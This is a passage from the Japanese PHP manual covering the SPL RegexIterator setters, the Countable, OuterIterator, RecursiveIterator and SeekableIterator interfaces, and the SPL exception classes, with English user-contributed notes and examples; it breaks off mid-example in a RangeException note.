  • フラグを設定する

RegexIterator::setFlags

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::setFlags — フラグを設定する

説明

public RegexIterator::setFlags ( int $flags ) : void

フラグを設定します。

パラメータ

flags

設定するフラグ。クラス定数のビットマスクで指定します。

利用できるフラグは次のとおりです。これらのフラグの実際の意味については 定義済みの定数 で説明します。

RegexIterator のフラグ
値 | 定数
1 | RegexIterator::USE_KEY

返り値

値を返しません。

例

例1 RegexIterator::setFlags() の例

新しい RegexIterator を作成します。これは、キーが 'test' ではじまるすべてのエントリを取り出します。

<?php
$test = array ('str1' => 'test 1', 'teststr2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/');
$regexIterator->setFlags(RegexIterator::USE_KEY);

foreach ($regexIterator as $key => $value) {
    echo $key . ' => ' . $value . "\n";
}
?>

上の例の出力は以下となります。

teststr2 => another test

参考

  • RegexIterator::getFlags() - フラグを取得する

User Contributed Notes

There are no user contributed notes for this page.


操作モードを設定する

  • ≪ RegexIterator::setFlags
  • RegexIterator::setPregFlags ≫
  • PHP Manual
  • RegexIterator
  • 操作モードを設定する

RegexIterator::setMode

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::setMode — 操作モードを設定する

説明

public RegexIterator::setMode ( int $mode ) : void

操作モードを設定します。

パラメータ

mode

操作モード。

操作モードは次のとおりです。これらのモードの実際の意味については 定義済みの定数 で説明します。

RegexIterator のモード
値 | 定数
0 | RegexIterator::MATCH
1 | RegexIterator::GET_MATCH
2 | RegexIterator::ALL_MATCHES
3 | RegexIterator::SPLIT
4 | RegexIterator::REPLACE

返り値

値を返しません。

例

例1 RegexIterator::setMode() の例

<?php
$test = array ('str1' => 'test 1', 'test str2' => 'another test', 'str3' => 'test 123');

$arrayIterator = new ArrayIterator($test);
// 'test ' で始まってその後に 1 桁以上の数字が続くものだけを取り出します
$regexIterator = new RegexIterator($arrayIterator, '/^test (\d+)/');
// 操作モードは、実際の値をマッチした部分で置き換えます
$regexIterator->setMode(RegexIterator::GET_MATCH);

foreach ($regexIterator as $key => $value) {
    // print out the matched number(s)
    echo $key . ' => ' . $value[1] . PHP_EOL;
}
?>

上の例の出力は、 たとえば以下のようになります。

str1 => 1
str3 => 123

参考

  • RegexIterator::getMode() - 操作モードを返す

User Contributed Notes

There are no user contributed notes for this page.


正規表現フラグを設定する

  • ≪ RegexIterator::setMode
  • インターフェイス ≫
  • PHP Manual
  • RegexIterator
  • 正規表現フラグを設定する

RegexIterator::setPregFlags

(PHP 5 >= 5.2.0, PHP 7)

RegexIterator::setPregFlags — 正規表現フラグを設定する

説明

public RegexIterator::setPregFlags ( int $preg_flags ) : void

正規表現フラグを設定します。

パラメータ

preg_flags

正規表現フラグ。利用できるフラグの概要は RegexIterator::__construct() を参照ください。

返り値

値を返しません。

例

例1 RegexIterator::setPregFlags() の例

新しい RegexIterator を作成します。これは、 配列のキーが 'test' で始まるすべてのエントリを取り出します。

<?php
$test = array ('test 1', 'another test', 'test 123');

$arrayIterator = new ArrayIterator($test);
$regexIterator = new RegexIterator($arrayIterator, '/^test/', RegexIterator::GET_MATCH);

$regexIterator->setPregFlags(PREG_OFFSET_CAPTURE);

foreach ($regexIterator as $key => $value) {
    var_dump($value);
}
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(4) "test"
    [1]=>
    int(0)
  }
}

参考

  • RegexIterator::getPregFlags() - 正規表現フラグを返す

User Contributed Notes

There are no user contributed notes for this page.


インターフェイス

目次

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator

SPL にはインターフェイスが用意されています。

定義済みのインターフェイスとクラス も参照ください。

インターフェイス一覧

  • Countable
  • OuterIterator
  • RecursiveIterator
  • SeekableIterator
  • SplObserver
  • SplSubject

User Contributed Notes

There are no user contributed notes for this page.


Countable インターフェイス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

Countable を実装したクラスは、 count() 関数で使用することができます。

インターフェイス概要

Countable {
/* メソッド */
abstract public count ( ) : int
}

目次

  • Countable::count — オブジェクトの要素数を数える

User Contributed Notes

Rudiger 07-Aug-2019 09:57
Unlike an array, an object of a class that implements Countable and has 0 elements is not considered empty:

class C implements Countable {
    public function count() {
        return 0;
    }
}

$a = [];
var_dump($a);
echo 'array is empty: '; var_dump(empty($a));

$c = new C;
var_dump($c);
echo 'Countable is empty: ' ; var_dump(empty($c));

Output:
array(0) {
}
array is empty: bool(true)
object(C)#1 (0) {
}
Countable is empty: bool(false)
adam at adamhahn dot com 22-Mar-2017 07:02
When using GMP/BC/Floating-Point Numbers to work with integers larger than PHP_INT_MAX, be aware that using the count() function will typecast the returned value to an integer.

<?php
class counter implements Countable {
    public function count() {
        // Number of IPv6 addresses in a single /32 IPv6 allocation (2^96)
        return "18446744073709551616"; // assume generated/exported by big-int library(GMP/BC/etc.)
    }
}

$obj = new counter();

echo $obj->count(); // prints string "18446744073709551616"
echo count($obj);    // prints int PHP_INT_MAX

// This is because of the typecasting
echo (int) "18446744073709551616"; // prints int PHP_INT_MAX
?>

This will also cause problems for floating-point values.

<?php
class counter implements Countable {
    public function count() {
        // Number of IPv6 addresses in a single /32 IPv6 allocation (2^96)
        return 18446744073709551616;
    }
}

$obj = new counter();

echo $obj->count(); // prints float 18446744073709551616.000000
echo count($obj);    // prints int 0

// This is because of the typecasting
echo (int) 18446744073709551616; // prints int 0
?>

This is only problematic when counting higher than PHP_INT_MAX.
Anonymous 17-Jan-2011 06:10
Note that arrays don't implement countable. Therefore you can't force a countable parameter for a function if you want it also to work with native arrays.
isaac dot z dot foster dot nada at spamporfav dot gmail dot com 08-Jun-2010 01:18
I just want to point out that your class has to actually implement the Countable interface, not just define a count method, to be able to use count($object) and get the expected results. I.e. the first example below won't work as expected, the second will. (The normal arrow function accessor ($object->count()) will work fine, but that's not the kewl part :) )

<?php
//Example One, BAD :(

class CountMe
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "1", not as expected

//Example Two, GOOD :)

class CountMe implements Countable
{

    protected $_myCount = 3;

    public function count()
    {
        return $this->_myCount;
    }

}

$countable = new CountMe();
echo count($countable); //result is "3" as expected
?>


オブジェクトの要素数を数える

  • ≪ Countable
  • OuterIterator ≫
  • PHP Manual
  • Countable
  • オブジェクトの要素数を数える

Countable::count

(PHP 5 >= 5.1.0, PHP 7)

Countable::count — オブジェクトの要素数を数える

説明

abstract public Countable::count ( ) : int

このメソッドは、Countable を実装したオブジェクトで count() 関数を使用した際に実行されます。

パラメータ

この関数にはパラメータはありません。

返り値

要素数を int 型で返します。

注意:

返り値は int 型にキャストされます。

例

例1 Countable::count() の例

<?php
class myCounter implements Countable {
    private $count = 0;
    public function count() {
        return ++$this->count;
    }
}

$counter = new myCounter;

for($i=0; $i<10; ++$i) {
    echo "I have been count()ed " . count($counter) . " times\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

I have been count()ed 1 times
I have been count()ed 2 times
I have been count()ed 3 times
I have been count()ed 4 times
I have been count()ed 5 times
I have been count()ed 6 times
I have been count()ed 7 times
I have been count()ed 8 times
I have been count()ed 9 times
I have been count()ed 10 times

User Contributed Notes

SenseException 10-Mar-2014 11:59
Even though Countable::count method is called when the object implementing Countable is used in count() function, the second parameter of count, $mode, has no influence to your class method.

$mode is not passed to  Countable::count:

<?php

class Foo implements Countable
{
    public function count()
    {
        var_dump(func_get_args());
        return 1;
    }
}

count(new Foo(), COUNT_RECURSIVE);

?>

var_dump output:

array(0) {
}


OuterIterator インターフェイス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

OuterIterator を実装したクラスは、 イテレータ群の反復処理に使うことができます。

インターフェイス概要

OuterIterator extends Iterator {
/* メソッド */
public getInnerIterator ( ) : Iterator
/* 継承したメソッド */
abstract public Iterator::current ( ) : mixed
abstract public Iterator::key ( ) : scalar
abstract public Iterator::next ( ) : void
abstract public Iterator::rewind ( ) : void
abstract public Iterator::valid ( ) : bool
}

目次

  • OuterIterator::getInnerIterator — 現在のエントリの内部イテレータを返す

User Contributed Notes

There are no user contributed notes for this page.


現在のエントリの内部イテレータを返す

  • ≪ OuterIterator
  • RecursiveIterator ≫
  • PHP Manual
  • OuterIterator
  • 現在のエントリの内部イテレータを返す

OuterIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

OuterIterator::getInnerIterator — 現在のエントリの内部イテレータを返す

説明

public OuterIterator::getInnerIterator ( ) : Iterator

現在のイテレータエントリの内部イテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のエントリの内部イテレータを返します。

User Contributed Notes

Sjakie Pruts 07-Aug-2019 12:49
The return type is merely documented here, it's not actually enforced. For instance, the IteratorIterator implementation can return Traversable, which would break the interface. Most likely, this is for backwards compatibility with code written before return type hints existed. It's still possible to create your own namespaced OuterIterator interface that extends the global one and add a typehint for this method in there.


RecursiveIterator インターフェイス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

RecursiveIterator を実装したクラスは、 イテレータ群を再帰的に反復処理するときに使うことができます。

インターフェイス概要

RecursiveIterator extends Iterator {
/* メソッド */
public getChildren ( ) : RecursiveIterator
public hasChildren ( ) : bool
/* 継承したメソッド */
abstract public Iterator::current ( ) : mixed
abstract public Iterator::key ( ) : scalar
abstract public Iterator::next ( ) : void
abstract public Iterator::rewind ( ) : void
abstract public Iterator::valid ( ) : bool
}

目次

  • RecursiveIterator::getChildren — 現在のエントリのイテレータを返す
  • RecursiveIterator::hasChildren — 現在のエントリのイテレータを作れるかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


現在のエントリのイテレータを返す

  • ≪ RecursiveIterator
  • RecursiveIterator::hasChildren ≫
  • PHP Manual
  • RecursiveIterator
  • 現在のエントリのイテレータを返す

RecursiveIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIterator::getChildren — 現在のエントリのイテレータを返す

説明

public RecursiveIterator::getChildren ( ) : RecursiveIterator

現在のエントリのイテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のエントリのイテレータを返します。

参考

  • RecursiveIterator::hasChildren() - 現在のエントリのイテレータを作れるかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


現在のエントリのイテレータを作れるかどうかを返す

  • ≪ RecursiveIterator::getChildren
  • SeekableIterator ≫
  • PHP Manual
  • RecursiveIterator
  • 現在のエントリのイテレータを作れるかどうかを返す

RecursiveIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveIterator::hasChildren — 現在のエントリのイテレータを作れるかどうかを返す

説明

public RecursiveIterator::hasChildren ( ) : bool

現在のエントリのイテレータを作れるかどうかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のエントリが反復処理可能な場合に true、それ以外の場合に false を返します。

参考

  • RecursiveIterator::getChildren() - 現在のエントリのイテレータを返す

User Contributed Notes

There are no user contributed notes for this page.


SeekableIterator インターフェイス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

Seekable イテレータです。

インターフェイス概要

SeekableIterator extends Iterator {
/* メソッド */
abstract public seek ( int $position ) : void
/* 継承したメソッド */
abstract public Iterator::current ( ) : mixed
abstract public Iterator::key ( ) : scalar
abstract public Iterator::next ( ) : void
abstract public Iterator::rewind ( ) : void
abstract public Iterator::valid ( ) : bool
}

例1 基本的な使用法

この例では、SeekableIterator を作成して位置を移動し、無効な位置を扱います。

<?php
class MySeekableIterator implements SeekableIterator {

    private $position;

    private $array = array(
        "first element",
        "second element",
        "third element",
        "fourth element"
    );

    /* SeekableIterator インターフェイスで必要なメソッド群 */

    public function seek($position) {
      if (!isset($this->array[$position])) {
          throw new OutOfBoundsException("invalid seek position ($position)");
      }

      $this->position = $position;
    }

    /* Iterator インターフェイスで必要なメソッド群 */

    public function rewind() {
        $this->position = 0;
    }

    public function current() {
        return $this->array[$this->position];
    }

    public function key() {
        return $this->position;
    }

    public function next() {
        ++$this->position;
    }

    public function valid() {
        return isset($this->array[$this->position]);
    }
}

try {

    $it = new MySeekableIterator;
    echo $it->current(), "\n";

    $it->seek(2);
    echo $it->current(), "\n";

    $it->seek(1);
    echo $it->current(), "\n";

    $it->seek(10);

} catch (OutOfBoundsException $e) {
    echo $e->getMessage();
}
?>

上の例の出力は、 たとえば以下のようになります。

first element
third element
second element
invalid seek position (10)

目次

  • SeekableIterator::seek — 位置を移動する

User Contributed Notes

info at ensostudio dot ru 20-Oct-2020 07:20
Note: use array_key_exists instead isset!
<?php
public function seek($position)
{
    $position = (int) $position;
    if (! array_key_exists($position, array_values($this->array))) {
        throw new OutOfBoundsException('Invalid position to seek: ' . $position);
    }
    $this->position = $position;
}
?>
Anonymous 20-Oct-2013 12:43
The code above is missing a closing parenthesis.

<?php
if (!isset($this->array[$position]) {
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>

should be

<?php
if (!isset($this->array[$position])) { // close here
          throw new OutOfBoundsException("invalid seek position ($position)");
}
?>
svenr at selfhtml dot org 14-Nov-2011 04:21
Best method:

<?php

if ($object instanceof SeekableIterator) {
  echo "\$object has method seek()";
}

?>

Please, make use of checking if a particular interface has been implemented to assure that the object you are dealing with definately has the methods you are about to use.

This also works as typehinting:

<?php

class foo {
  public function doSomeSeeking(SeekableIterator $seekMe) {
    $seekMe->seek(10); // will work, otherwise Typehint triggers complaints
  }
}

?>
martin at smasty dot net 15-May-2011 08:01
The reflection approach:

<?php

$reflection = new ReflectionClass('MySeekableIterator');
if($reflection->hasMethod('seek'))
  echo "This class has method seek().";

?>
marcin dot kleczek at gmail dot com 15-Apr-2010 11:59
Better method:

<?php
            $class = 'SeekableIterator';
            $findingMethod = 'seek'; // have to be lower chars

            $methods = get_class_methods($class);

            foreach( $methods as $pVal )
                if ( $findingMethod == strtolower($pVal) ) {
                    echo 'This class has method seek().';
                    break;
                }

}

?>

Best method: http://php.net/manual/en/function.method-exists.php


位置を移動する

  • ≪ SeekableIterator
  • 例外 ≫
  • PHP Manual
  • SeekableIterator
  • 位置を移動する

SeekableIterator::seek

(PHP 5 >= 5.1.0, PHP 7)

SeekableIterator::seek — 位置を移動する

説明

abstract public SeekableIterator::seek ( int $position ) : void

イテレータ内の指定した位置に移動します。

パラメータ

position

移動先の位置。

返り値

値を返しません。

エラー / 例外

position に移動できない場合、 OutOfBoundsException をスローするよう実装しなければなりません。

例

例1 SeekableIterator::seek() の例

イテレータの 3 番目の位置に移動します (ArrayIterator は SeekableIterator を実装しています)。

<?php
$array = array("apple", "banana", "cherry", "damson", "elderberry");
$iterator = new ArrayIterator($array);
$iterator->seek(3);
echo $iterator->current();
?>

上の例の出力は、 たとえば以下のようになります。

damson

参考

  • SeekableIterator
  • Iterator

User Contributed Notes

There are no user contributed notes for this page.


例外

目次

  • BadFunctionCallException
  • BadMethodCallException
  • DomainException
  • InvalidArgumentException
  • LengthException
  • LogicException
  • OutOfBoundsException
  • OutOfRangeException
  • OverflowException
  • RangeException
  • RuntimeException
  • UnderflowException
  • UnexpectedValueException

SPL には標準の例外が用意されています。

定義済みの例外 も参照ください。

SPL 例外クラスツリー

  • LogicException (extends Exception)
    • BadFunctionCallException
      • BadMethodCallException
    • DomainException
    • InvalidArgumentException
    • LengthException
    • OutOfRangeException
  • RuntimeException (extends Exception)
    • OutOfBoundsException
    • OverflowException
    • RangeException
    • UnderflowException
    • UnexpectedValueException

User Contributed Notes

There are no user contributed notes for this page.


BadFunctionCallException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

未定義の関数をコールバックが参照したり、引数を指定しなかったりした場合にスローされる例外です。

クラス概要

BadFunctionCallException extends LogicException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 12:14
For example:

function foo($arg) {
    $func = 'do' . $arg;
    if (!is_callable($func)) {
        throw new BadFunctionCallException('Function ' . $func . ' is not callable');
    }
}
tom at tomwardrop dot com 15-Nov-2009 07:42
A typical use for this exception, is in conjunction with the is_callable() function.


BadMethodCallException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

未定義のメソッドをコールバックが参照したり、引数を指定しなかったりした場合にスローされる例外です。

クラス概要

BadMethodCallException extends BadFunctionCallException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

piotr at polak dot ro 27-Jun-2016 12:51
BadMethodCallException is typically used in conjunction with __call magic method.


DomainException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

定義したデータドメインに値が従わないときにスローされる例外です。

クラス概要

DomainException extends LogicException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

Cruiser 07-Dec-2017 10:02
Quote: "In data management and database analysis, a data domain refers to all the values which a data element may contain."

Source: https://en.wikipedia.org/wiki/Data_domain

This exception has confused me a bit, DataDomainException, or DataTypeException may have been more descriptive.
ja2016 at wir dot pl 31-Dec-2016 05:35
I think this kind of exception is perfect to throw when expected the  type of parameter, value etc. is good, but its value is out of domain. Look at RangeException:
>>Exception thrown to indicate range errors during program execution. Normally this means there was an arithmetic error other than under/overflow. This is the runtime version of DomainException.<<
So, this kind of exception is designed for logic error

When datatype is wrong, the better way is throwing InvalidArgumentException.

<?php
// Here, use InvalidArgumentException
function media($x) {
    switch ($x) {
        case image:
            return 'PNG';
        break;
        case video:
            return 'MP4';
        break;
        default:
            throw new InvalidArgumentException ("Invalid media type!");
    }
}?>
This is completly diffirent situation than this:
<?php
// Here, use DomainException
$object = new Library ();
try {
    $object->allocate($x);
} catch (toFewMin $e) {
    throw new DomainException ("Minimal value to allocate is too high").
}
?>
The simillar situation, but problem occurs during runtime:
<?php
class library {
    function allocate($x) {
        if ($x<1000)
            throw new RangeException ("Value is too low!")
    }
}
?>
Summary: DomainException corresponds to RangeException and we should use them in simillar situations.  But first exception is designed to use when we are sure the problem is with our project, third-part elements etc. (simply: logical error), the second way is designed to use when we are sure the problem is with input data or environment (simply: runtime error).
chmielewski dot thomas at gmail dot com 29-Aug-2014 10:45
<?php

function divide($divident, $divisor) {
    if(!is_numeric($divident) || !is_numeric($divisor)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($divisor == 0) {
        throw new DomainException("Divisor must not be zero");
    }
    return $divident / $divisor;
}
mateusz dot charytoniuk at gmail dot com 20-Oct-2011 12:45
<?php
function renderImage($imageResource, $imageType)
{
  switch ($imageType) {
  case 'jpg':
  case 'jpeg':
    header('Content-type: image/jpeg');
    imagejpeg($imageResource);
    break;
  case 'png':
    header('Content-type: image/png');
    imagepng($imageResource);
    break;
  default:
    throw new DomainException('Unknown image type: ' . $imageType);
    break;
  }
  imagedestroy($imageResource);
}
?>


InvalidArgumentException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

引数の型が期待する型と一致しなかった場合にスローされる例外です。

クラス概要

InvalidArgumentException extends LogicException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

Joey at anti-culture dot net 02-Feb-2011 09:08
In my opinion this exception is invaluable for validating arguments- for example providing strict typing a la C:

<?php
function tripleInteger($int)
{
  if(!is_int($int))
    throw new InvalidArgumentException('tripleInteger function only accepts integers. Input was: '.$int);
  return $int * 3;
}

$x = tripleInteger(4); //$x == 12
$x = tripleInteger(2.5); //exception will be thrown as 2.5 is a float
$x = tripleInteger('foo'); //exception will be thrown as 'foo' is a string
$x = tripleInteger('4'); //exception will throw as '4' is also a string

?>


LengthException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

長さが無効な場合にスローされる例外です。

クラス概要

LengthException extends LogicException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


LogicException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

プログラムのロジック内でのエラーを表す例外です。 この類の例外が出た場合は、自分が書いたコードを修正すべきです。

クラス概要

LogicException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

Dawid Krysiak 03-Feb-2011 02:32
Direct known subclasses:
BadFunctionCallException, DomainException, InvalidArgumentException, LengthException, OutOfRangeException


OutOfBoundsException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

値が有効なキーでなかった場合にスローされる例外です。 これは、コンパイル時には検出できないエラーです。

クラス概要

OutOfBoundsException extends RuntimeException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

Jakub Adamczyk 16-May-2017 11:35
I see this in this way:
By definiton, OutOfRangeException should be use to when potential problem is logical. This (OutOfBoundsException) is for runtime, so it's perfect for catching errors which occur because of bad result from database and simillar.

Example of using OutOfBoundSException (see also note in "OutOfRangeException class" article):

<?php
class HandleApplication {
    public function __construct($_POST) {
        if(!isset($_POST['secretCode'])
            throw new OutOfBoundsException('Application hasn't sent secret code for authenticate');
}
evguenia dot chagnon at gmail dot com 26-Jan-2017 12:58
class MyDynamicTastyPie implements ArrayAccess{
    private $_pointeur = 0;
    private $_array = ['strawberry slice','white chocolate','nuts'];

    public function offsetExists($key){
        return isset($this->_array[$key]);
    }

    public function offsetGet($key){
        if ($key > count($this->_array)){
            throw new OutOfBoundsException('Your tasty pie doesn\'t contain so slices');
        }
        return $this->_array[$key];
    }

    public function offsetSet($key, $value){
        $this->_array[$key] =$value;
    }

    public function offsetUnset($key){
        unset($this->_array[$key]);
    }

    public function addSlice($slice){
        $this->_array[] = $slice;
    }
}

try {
    $myDynamicTastyPie = new MyDynamicTastyPie();
    $myDynamicTastyPie->addSlice('Black chocolate cream decoration');
    echo $myDynamicTastyPie[7];
}
catch(OutOfBoundsException $e){
    echo 'Here is your OutOfBoundsException!';
}
sricharan dot krishnan at gmail dot com 04-Jul-2016 10:48
An example where an OutOfBoundsException can occur:
Lets say post a certain division process, we wish to access a value in an Array [provided ofcourse if the result value of the division is within the size of the Array]..

try{
    if ($iNum2 == 0){
        throw new Exception("Division by Zero");
    }
    $iResult = $iNum1 / $iNum2;
    echo ("Division result is: ".($iResult)."<br/>");
}
catch (Exception $e){
    echo ("Division by Zero is not possible.".($e)."<br/>");
}

$rg_Array = array(1,2,3,4);

try{
    if ($iResult > sizeof($rg_Array)- 1){
        throw new Exception("Exceeding key values");
    }
echo ("Capturing value from \$rg_Array post Division process:".($rg_Array[$iResult])."<br/>");
}
catch (Exception $e){
    echo ("Value of Division result is out of bounds for the array.".($e)."<br/>");
}
?>
Jacob V. Rasmussen 11-Aug-2015 08:49
OutOfRangeException is for Integers out of range.
OutOfBoundsException is for key values, not found in the target array.

Editor's note: This is incorrect; OutOfRangeException has *nothing* to do with Integer ranges. I decided to keep this highly voted comment even though it is wrong for education's sake.
Anonymous 10-Nov-2014 03:29
i wish i know what's the difference between
OutOfRangeException and OutOfBoundsException lol


OutOfRangeException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

無効なインデックスを要求した場合にスローされる例外です。 これは、コンパイル時に検出しなければなりません。

クラス概要

OutOfRangeException extends LogicException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

Free 26-May-2020 05:54
I tried to write a snippet that would be detected at compile time, but was unable, apparently due to my PHP engine's interpreted nature. The creator(s) should have provided a usage example (for end-users) or pointed to PHP sources for an example of where/how it's used. None of the provided examples, to date, reflect an exception detected at compile time, as this class asserts.

IMO it's hopeful at best to expect a compiler to detect an illegal index in a dynamically-typed, typically JIT-executed, enviro. Since when is there a strict contract of what indexes should be considered "within range" and how would the compiler know about this contract? Also, how would we try/catch that in the compile phase?

SPL also provides the OutOfBounds exception. If this class, its parent, and OOB have little distinction, then does SPL need all 3?
Jakub 16-May-2017 11:59
I see this in this way:
By definiton, OutOfRangeException should be use to when potential problem is logical - occurs because of wrong code or definition. OutOfBoundsException is for runtime.

Example (see also note in "OutOfBoundsException class" article):
<?php
function prepareData(PDOStatement $s) {
    $x = $s->fetch();
    if (!isset($x['secretColumn']))
        throw new OutOfRangeException ("Secret column doesn't exist! Verify table definition and query.");
}
evguenia dot chagnon at gmail dot com 26-Jan-2017 12:47
Exemple :

$calendar = new Calendar();
$calendar->getMonth(15);


OverflowException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

いっぱいになっているコンテナに要素を追加した場合にスローされる例外です。

クラス概要

OverflowException extends RuntimeException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


RangeException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

プログラムの実行時に範囲エラーが発生したことを示すときにスローされる例外です。 通常は、アンダーフローやオーバーフロー以外の計算エラーが発生したことを意味します。 これは、実行時版の DomainException です。

クラス概要

RangeException extends RuntimeException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 01:30
CF. DomainException  : "DomainException corresponds to RangeException and we should use them in simillar situations.  But first exception is designed to use when we are sure the problem is with our project, third-part elements etc. (simply: logical error), the second way is designed to use when we are sure the problem is with input data or environment (simply: runtime error)."

function divide($divident, $input) {
    if(!is_numeric($divident) || !is_numeric($input)) {
        throw new InvalidArgumentException("Function accepts only numeric values");
    }
    if($input == 0) {
